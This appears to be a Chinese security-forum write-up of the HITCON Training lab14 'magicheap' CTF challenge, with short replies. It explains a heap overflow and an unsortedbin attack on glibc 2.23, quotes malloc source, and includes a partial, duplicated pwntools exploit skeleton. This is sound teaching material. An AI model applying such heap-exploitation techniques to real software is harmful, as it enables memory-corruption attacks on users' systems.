首页
社区
课程
招聘
[原创]Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap
发表于: 2021-6-25 17:19 16041

[原创]Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap

2021-6-25 17:19
16041

实验环境:
• OS:Ubuntu16.04 x64
• libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)

没发现有啥特殊,就是四个选项:分配、编辑、释放、退出。

image.png

由分析可知,当输入的choice==4869且存储在bss段的全局变量magic>0x1305时,就能打印出flag。注意到这里是要想办法让magic变成一个很大的数,而unsortedbin attack的攻击效果就是让任意地址的内容改成一个较大的数值,因此该题可以尝试unsortedbin attack。

image.png

image.png

image.png

image.png

编辑heap内容的时候,输入的size不是chunk的user data部分的大小,而是用户自己随意输入一个数值,然后往chunk里输入size长度的数据,因此存在堆溢出漏洞

image.png

image.png

漏洞点:

输入点:

思路:

image.png

所以,通过画图分析可以利用heap_edit函数的堆溢出漏洞这样去构造:

image.png

magic的地址是32位的,所以要往上16个字节需要减4。

这里顺带贴一下将chunk从unsortedbin取下来的过程:

于是,当chunk1的bk被覆盖修改之后,从unsorted bin移除chunk的过程可总结如下:

victim = unsorted_chunks(av)->bk = chunk1-16

bck = victim->bk = chunk1->bk = target addr-16

unsorted_chunks(av)->bk = bck=target addr-16

bck->fd = *(target addr -16+16) = unsorted_chunks(av);

可以看出,在从 unsorted bin 移除 chunk 的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。

image.png

image.png

image.png

image.png

这一题还是比较简单的。做完之后我去看ctfwiki的题解,感觉我的脑袋僵硬了:( -> malloc的三个chunk,只要保证第二个chunk在释放的时候会放到unsorted bin里去就可以了,不需要三个都是smallbin chunk。

 
$ file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped
$ checksec --file=magicheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   87) Symbols   No    0   2magicheap
$ file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped
$ checksec --file=magicheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   87) Symbols   No    0   2magicheap
 
 
 
 
 
 
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
    bck = victim->bk;
    if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
        __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
                        chunk2mem(victim), av);
    size = chunksize(victim);
 
    /*
       If a small request, try to use last remainder if it is the
       only chunk in unsorted bin.  This helps promote locality for
       runs of consecutive small requests. This is the only
       exception to best-fit, and applies only when there is
       no exact fit for a small chunk.
     */
    /*如果bck被修改会不符合这里的要求*/
    if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
        ....
    }
 
    /* remove from unsorted list */
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
    bck = victim->bk;
    if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
        __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
                        chunk2mem(victim), av);
    size = chunksize(victim);
 
    /*
       If a small request, try to use last remainder if it is the
       only chunk in unsorted bin.  This helps promote locality for
       runs of consecutive small requests. This is the only
       exception to best-fit, and applies only when there is
       no exact fit for a small chunk.
     */
    /*如果bck被修改会不符合这里的要求*/
    if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
        ....
    }
 
    /* remove from unsorted list */
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './magicheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def create(size, content):
    ru("choice :")
    sl("1")
    ru("Heap : ")
    sl(str(size))
    ru("heap:")
    sl(content)
 
def edit(idx, size, content):
    ru("choice :")
    sl("2")
    ru("Index :")
    sl(str(idx))
    ru("Heap : ")
    sl(str(size))
    ru("heap : ")
    sl(content)
 
def delete(idx):
    ru("choice :")
    sl("3")
    ru("Index :")
    sl(str(idx))
 
p.interactive()
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './magicheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def create(size, content):
    ru("choice :")
    sl("1")
    ru("Heap : ")
    sl(str(size))
    ru("heap:")
    sl(content)
 
def edit(idx, size, content):
    ru("choice :")
    sl("2")
    ru("Index :")
    sl(str(idx))
    ru("Heap : ")
    sl(str(size))
    ru("heap : ")
    sl(content)
 
def delete(idx):
    ru("choice :")
    sl("3")
    ru("Index :")
    sl(str(idx))
 
p.interactive()
create(300,'a'*300) # 0
create(400,'a'*400) # 1
create(500,'a'*500) # 2
 
delete(1)
#dbg()
create(300,'a'*300) # 0
create(400,'a'*400) # 1
create(500,'a'*500) # 2
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 5
支持
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2

我标记的对吗?是把magic的内容改为了main_arena+88吗?


2021-7-4 17:51
0
雪    币: 10984
活跃值: (7768)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
3
mimi3333 我标记的对吗?是把magic的内容改为了main_arena+88吗?
2021-7-7 08:51
0
游客
登录 | 注册 方可回帖
返回
//